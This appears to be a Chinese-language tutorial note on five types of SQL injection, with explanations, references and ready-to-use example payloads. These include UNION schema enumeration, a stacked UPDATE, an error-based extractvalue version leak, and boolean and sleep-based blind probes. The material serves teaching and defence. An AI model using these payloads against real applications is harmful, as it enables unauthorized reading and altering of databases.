常見的SQL injection有以下幾類
- UNION query SQL injection
- Stacked queries SQL injection
- Error-based SQL injection
- Boolean-based blind SQL injection
- Time-based blind SQL injection
refer
https://www.slideshare.net/hugolu/sql-injection-61608454
https://www.cnblogs.com/leftshine/p/SQLInjection.html
https://yangxikun.github.io/web%E5%AE%89%E5%85%A8/2015/11/21/sql-inject-type.html
UNION query SQL injection
使⽤UNION 將另一段SELECT指令掛在正常輸⼊後⾯, 以撈出各種資訊
ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1
對id注入以下攻擊字串
1 UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
會構造新的sql以撈取敏感資訊
SELECT * FROM testsql WHERE id=1UNION ALL SELECT SCHEMA_NAME FROM INFORMATION_SCHEMA.SCHEMATA
Stacked queries SQL injection
可以執行多個SQL, 這表示可以對資料庫做更新插入等危險操作
ex:
假設原SQL如下
SELECT * FROM testsql WHERE id=1
對id注入以下攻擊字串
1 ;UPDATE testsql SET id = 0
會構造以下新的SQL新增內容
SELECT * FROM testsql WHERE id=1;UPDATE testsql SET id = 0
Error-based SQL injection
如果頁面能輸出SQL錯誤訊息,就可以從中獲得想要的資訊
常見技巧包括
- xpath語法錯誤, ex:extractvalue(),updatexml()
- 主鍵重複, ex: group by的duplicate entry
- 其他
ex:
extractValue(xml_frag, xpath_expr)
使用XPath表示法從XML字串中提取值
正確用法,尋找前一段xml文件內容中的a節點下的b節點
SELECT ExtractValue('< a>< b>< b/>< /a>', '/a/b');
攻擊用法,用version()的返回值構造語法錯誤
SELECT ExtractValue('< a>< b>< b/>< /a>', concat('=',(select version())));
返回以下錯誤,並成功得到version()的返回值
XPATH syntax error: '=5.5.53'
refer
https://zhuanlan.zhihu.com/p/74907340
https://www.jishuwen.com/d/2Rt2/zh-tw
Content-based/Boolean-based blind SQL injection
根據資料庫的是否有回覆訊息來判斷是否有弱點
ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;
注入ID變數猜測資料版本是否為4.x
1 and substring(version(),1,1)=4--
構造sql如下,如果正常輸出資料代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and substring(version(), 1,1)=4-- LIMIT 0,1
Time-based blind SQL injection
根據資料庫的回覆的快慢來判斷是否有注入成功
ex:
假設原sql如下
SELECT * FROM testsql WHERE id=1 LIMIT 0,1;
注入ID變數猜測資料版本是否為5.x
1 and if( substring(version(),1,1)=5,sleep(50),1) --
構造sql如下,如果50秒後才輸出變慢代表猜對,如果不是則猜錯
SELECT * FROM testsql WHERE id=1 and if( substring(version(),1,1)=5,sleep(50),1) -- LIMIT 0,1;
refer
https://blog.csdn.net/hacker234/article/details/100036013